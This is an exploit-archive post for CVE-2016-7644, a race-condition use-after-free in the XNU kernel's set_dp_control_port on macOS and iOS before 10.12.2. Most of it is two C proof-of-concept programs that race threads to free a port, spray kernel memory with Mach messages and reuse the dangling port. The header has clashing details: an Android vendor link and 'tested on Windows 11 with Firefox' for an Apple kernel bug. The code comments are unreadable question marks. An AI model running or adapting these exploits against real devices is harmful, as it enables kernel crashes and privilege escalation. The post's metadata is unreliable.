macOS 10.12.2 XNU Kernel Race Condition
=============================================================================================================================================
| # Title macOS 10.12.2 XNU Kernel Race Condition
=============================================================================================================================================
| # Title : macOS 10.12.2 XNU kernel Race Condition |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://www.android.com |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/212493/ & CVE-2016-7644
[+] Summary : This report analyzes the race condition observed in the set_dp_control_port function within XNU kernel versions prior to macOS 10.12.2 and iOS 10.2.
[+] The vulnerability exists in the XNU kernel (iOS/macOS) in the `set_dp_control_port` function. The issue is the lack of locking when the dynamic_pager_control_port pointer is updated, leading to:
A race condition between two threads
The possibility of double release of the port reference
Use-after-free access
[+] POC :
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/host_priv.h>
#define THREAD_COUNT 32
#define ATTEMPTS 1000
mach_port_t global_port = MACH_PORT_NULL;
int start_race = 0;
// ??? ???? ???????? set_dp_control_port ???? ?????
void* race_thread(void* arg) {
while (!start_race) { ; } // ?????? ??? ??????
mach_port_t local_port = MACH_PORT_NULL;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &local_port);
mach_port_insert_right(mach_task_self(), local_port, local_port,
MACH_MSG_TYPE_MAKE_SEND);
for (int i = 0; i < 100; i++) {
set_dp_control_port(mach_host_self(), local_port);
}
return NULL;
}
// ??? ??????? ???????? ??????
void* exploit_thread(void* arg) {
while (!start_race) { ; }
for (int i = 0; i < 100; i++) {
// ?????? ?????? ??? ?????? ??? ??????
mach_port_t probe_port = MACH_PORT_NULL;
kern_return_t kr = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&probe_port);
if (kr != KERN_SUCCESS) {
printf("[!] Failed to allocate port - possible corruption\n");
}
// ??????? ?????? ?????? ??????? ????? ??????? ??????? ???????
set_dp_control_port(mach_host_self(), probe_port);
usleep(1000); // ????? ???? ?????? ??? ??????
}
return NULL;
}
int main() {
printf("[+] Starting exploitation of CVE-2016-7644\n");
// ?????? 1: ????? ?????? ??????
kern_return_t kr = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&global_port);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to allocate initial port\n");
return 1;
}
kr = mach_port_insert_right(mach_task_self(), global_port, global_port,
MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to insert port right\n");
return 1;
}
// ?????? 2: ????? ?????? ??????
printf("[+] Setting initial dynamic_pager_control_port\n");
kr = set_dp_control_port(mach_host_self(), global_port);
if (kr != KERN_SUCCESS) {
printf("[-] Initial set failed: %s\n", mach_error_string(kr));
return 1;
}
// ?????? 3: ????? ?????? ?? userland (???? ???? ?? kernel ???)
printf("[+] Releasing userland reference (kernel holds one ref)\n");
mach_port_destroy(mach_task_self(), global_port);
// ?????? 4: ????? ???? ?????? ??????
pthread_t threads[THREAD_COUNT];
printf("[+] Creating %d racing threads\n", THREAD_COUNT);
for (int i = 0; i < THREAD_COUNT; i++) {
if (i % 2 == 0) {
pthread_create(&threads[i], NULL, race_thread, NULL);
} else {
pthread_create(&threads[i], NULL, exploit_thread, NULL);
}
}
// ?????? 5: ??? ??????
printf("[+] Starting race condition...\n");
start_race = 1;
// ???????? ??? ????? ??????
for (int i = 0; i < THREAD_COUNT; i++) {
pthread_join(threads[i], NULL);
}
printf("[+] Race completed. Attempting to trigger UaF...\n");
// ?????? 6: ?????? ??????? dangling pointer
for (int attempt = 0; attempt < ATTEMPTS; attempt++) {
mach_port_t new_port = MACH_PORT_NULL;
kr = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&new_port);
if (kr == KERN_SUCCESS) {
kr = mach_port_insert_right(mach_task_self(), new_port, new_port,
MACH_MSG_TYPE_MAKE_SEND);
// ?????? ????? ???? ???? ?? ?????? ??????
kr = set_dp_control_port(mach_host_self(), new_port);
if (kr != KERN_SUCCESS) {
printf("[!] Attempt %d: set_dp_control_port failed: %s\n",
attempt, mach_error_string(kr));
}
// ????? ????? ???????? ?? ??? ?? ????
mach_msg_header_t msg = {0};
msg.msgh_remote_port = new_port;
msg.msgh_size = sizeof(msg);
kr = mach_msg(&msg, MACH_SEND_MSG, msg.msgh_size,
0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
}
if (attempt % 100 == 0) {
printf("[.] Progress: %d/%d attempts\n", attempt, ATTEMPTS);
}
}
printf("[+] Exploitation attempt finished\n");
printf("[+] Check kernel logs for crashes (panic logs)\n");
return 0;
}
================
Vulnerability type: Use-After-Free (UaF) in the XNU kernel's set_dp_control_port function.
Basic idea: Creating a dangling port in the kernel, then attempting to reuse it to exploit the freed memory, which could lead to:
Arbitrary kernel instruction execution.
A system crash (kernel panic).
In some cases, user privilege escalation if linked to a full exploit.
POC :
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <unistd.h>
#include <mach/mach.h>
#include <mach/host_priv.h>
#include <sched.h>
#define THREAD_COUNT 32
#define PORT_COUNT 1024
#define ATTEMPTS 1000
int start_race = 0;
int stop_threads = 0;
mach_port_t spray_ports[PORT_COUNT];
// ????? yield ?????? ??? ??????
void yield_thread() {
sched_yield(); // ???? ???? ?????? ?????? ???????
usleep(10); // ????? ????
}
// ??? ?????? ???????
void* trigger_race(void* arg) {
mach_port_t port = (mach_port_t)(uintptr_t)arg;
while (!start_race) { ; } // ?????? ????? ?????
// ????? ?????? ?? yield
for (int i = 0; i < 50; i++) {
set_dp_control_port(mach_host_self(), port);
yield_thread(); // ????? ??? ???????
}
return NULL;
}
// ????? dangling port
void create_dangling_port() {
mach_port_t port = MACH_PORT_NULL;
// ????? port ?? multiple references
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to allocate port\n");
return;
}
// ????? ???? send ????? ????? ??????
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("[-] Failed first insert\n");
return;
}
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("[-] Failed second insert\n");
return;
}
// ?????? ?? dynamic_pager_control_port
printf("[+] Setting as dynamic_pager_control_port\n");
kr = set_dp_control_port(mach_host_self(), port);
if (kr != KERN_SUCCESS) {
printf("[-] Failed to set: %s\n", mach_error_string(kr));
return;
}
// ???? ?????? ????? ????? ????? ???? ????? ??????
// ????? ???? userland (???? ??????: ???? ?? kernel ????? ?????)
printf("[+] Releasing one userland reference\n");
mach_port_deallocate(mach_task_self(), port);
// ??? ?????? ?? ?????
printf("[+] Starting race threads\n");
start_race = 0;
pthread_t t1, t2;
pthread_create(&t1, NULL, trigger_race, (void*)(uintptr_t)port);
pthread_create(&t2, NULL, trigger_race, (void*)(uintptr_t)port);
// ????? ????? ?????? ?????????
usleep(1000);
// ??? ??????
start_race = 1;
// ???????? ??? ????? ??????
pthread_join(t1, NULL);
pthread_join(t2, NULL);
printf("[+] Race completed. Port may be dangling now\n");
// ??? port ???? dangling (???? ?????)
// kernel ?? ???? ??? port ????? ????? ??? ???? ???? ???? ???
}
// ?? kernel memory
void spray_kernel_memory() {
printf("[+] Spraying kernel memory with %d ports\n", PORT_COUNT);
// ????? ????? ????
for (int i = 0; i < PORT_COUNT; i++) {
kern_return_t kr = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&spray_ports[i]);
if (kr != KERN_SUCCESS) {
printf("[!] Failed to allocate spray port %d\n", i);
continue;
}
kr = mach_port_insert_right(mach_task_self(), spray_ports[i],
spray_ports[i], MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("[!] Failed to insert right for port %d\n", i);
}
// ????? ????? ???? kernel memory
struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t port_descriptors[4];
} msg;
msg.header.msgh_bits = MACH_MSGH_BITS_COMPLEX |
MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
msg.header.msgh_size = sizeof(msg);
msg.header.msgh_remote_port = spray_ports[i];
msg.header.msgh_local_port = MACH_PORT_NULL;
msg.body.msgh_descriptor_count = 4;
// ??? ???? ???????
for (int j = 0; j < 4; j++) {
msg.port_descriptors[j].name = spray_ports[(i + j) % PORT_COUNT];
msg.port_descriptors[j].disposition = MACH_MSG_TYPE_COPY_SEND;
msg.port_descriptors[j].type = MACH_MSG_PORT_DESCRIPTOR;
}
kr = mach_msg(&msg.header, MACH_SEND_MSG, sizeof(msg),
0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if ((i + 1) % 100 == 0) {
printf("[.] Sprayed %d/%d ports\n", i + 1, PORT_COUNT);
}
}
printf("[+] Memory spray completed\n");
}
// ??? ??????? ??????? ?????? ??????
void* use_dangling_port(void* arg) {
mach_port_t port = (mach_port_t)(uintptr_t)arg;
while (!stop_threads) {
// ?????? ??????? ?????? ??????
mach_port_context_t context = 0;
kern_return_t kr = mach_port_get_context(mach_task_self(), port, &context);
if (kr != KERN_SUCCESS) {
// ?????? ?? ???? ????
printf("[!] Failed to get context (port may be freed)\n");
break;
}
// ?????? ????? ???? ????
kr = mach_port_set_context(mach_task_self(), port, (mach_port_context_t)0x4141414142424242);
yield_thread();
}
return NULL;
}
int main() {
printf("[+] Exploit for CVE-2016-7644 - XNU set_dp_control_port race condition\n");
printf("[+] Target: macOS/iOS <= 10.12.1/10.1.1\n");
// ??????? 1: ????? dangling port
printf("\n=== Phase 1: Creating dangling port ===\n");
create_dangling_port();
// ??????? 2: ?? ???????
printf("\n=== Phase 2: Memory spraying ===\n");
spray_kernel_memory();
// ??????? 3: ?????? ?????????
printf("\n=== Phase 3: Attempting exploitation ===\n");
// ????? ??? ???? ??????? ??????? ?????? ??????
pthread_t exploit_threads[4];
mach_port_t test_port = MACH_PORT_NULL;
// ????? ???? ???? ?? ??? ???????
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &test_port);
mach_port_insert_right(mach_task_self(), test_port, test_port, MACH_MSG_TYPE_MAKE_SEND);
for (int i = 0; i < 4; i++) {
pthread_create(&exploit_threads[i], NULL, use_dangling_port,
(void*)(uintptr_t)test_port);
}
// ?????? ?????? ?????? ???? ?????
sleep(2);
// ????? ??????
stop_threads = 1;
for (int i = 0; i < 4; i++) {
pthread_join(exploit_threads[i], NULL);
}
// ??????? 4: ?????? ?????????
printf("\n=== Phase 4: Testing stability ===\n");
mach_port_t final_port = MACH_PORT_NULL;
kern_return_t kr = mach_port_allocate(mach_task_self(),
MACH_PORT_RIGHT_RECEIVE,
&final_port);
if (kr != KERN_SUCCESS) {
printf("[!] Kernel may be unstable/crashed\n");
} else {
printf("[+] Kernel seems stable\n");
// ?????? ?????? ???????? set_dp_control_port
kr = set_dp_control_port(mach_host_self(), final_port);
if (kr == KERN_SUCCESS) {
printf("[+] Successfully called set_dp_control_port\n");
} else {
printf("[!] Failed: %s\n", mach_error_string(kr));
}
}
// ???????
for (int i = 0; i < PORT_COUNT; i++) {
if (MACH_PORT_VALID(spray_ports[i])) {
mach_port_destroy(mach_task_self(), spray_ports[i]);
}
}
printf("\n[+] Exploitation attempt completed\n");
printf("[!] Note: This exploit may cause kernel panic if successful\n");
printf("[!] Check console logs for kernel crash reports\n");
return 0;
}
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
macOS 10.12.2 XNU Kernel Race Condition
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 142